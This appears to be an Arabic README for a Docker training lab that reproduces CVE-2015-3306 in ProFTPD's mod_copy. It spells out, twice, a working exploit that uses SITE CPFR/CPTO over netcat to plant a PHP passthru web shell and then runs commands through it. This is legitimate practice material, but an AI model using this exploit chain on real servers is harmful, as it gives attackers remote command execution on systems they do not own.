
CVE-2015-3306 - ProFTPD - RCE إعداد مختبر منزلي (Docker) سهل الاستخدام لـ Red Teaming أو Penetration Testing
تم تصميم هذا المعمل لمحاكاة الثغرة CVE-2015-3306 — ProFTPD mod_copy نسخ الملفات عن بُعد إلى تنفيذ الأوامر عن بُعد (RCE)
يُستخدم للتعلم على Web Shell Injection RCE عبر وحدة mod_copy الخاصة بـ ProFTPD.
mod_copy (SITE CPFR / SITE CPTO)/var/www/htmlflag_RANDOM.txt تلقائيًا في كل مرة يبدأ فيها الحاوية (container)/etc/proftpd/proftpd.conf
/usr/local/proftpd/
/var/www/html/
/tmp/flag_xxx.txt
/entrypoint.sh
docker build -t sentinel7-proftpd-lab .
docker run -it --rm -p 21:21 -p 80:80 sentinel7-proftpd-lab
nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php
الوصول عبر الويب:
http://<IP>/webshell.php?cmd=<command>
يُحفظ في:
/tmp/flag_RANDOM.txt
يحاكي هذا المعمل CVE-2015-3306 باستخدام ProFTPD 1.3.5 مع mod_copy، مما يسمح للمهاجمين بتنفيذ ProFTPD mod_copy نسخ الملفات عن بُعد إلى RCE.
mod_copy (SITE CPFR + SITE CPTO)flag_RANDOM.txt عند بدء الحاويةnc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php
ثم نفذ:
http://<IP>/webshell.php?cmd=<command>
/tmp/flag_RANDOM.txt
للاستخدام التعليمي واختبار الاختراق المصرح به فقط.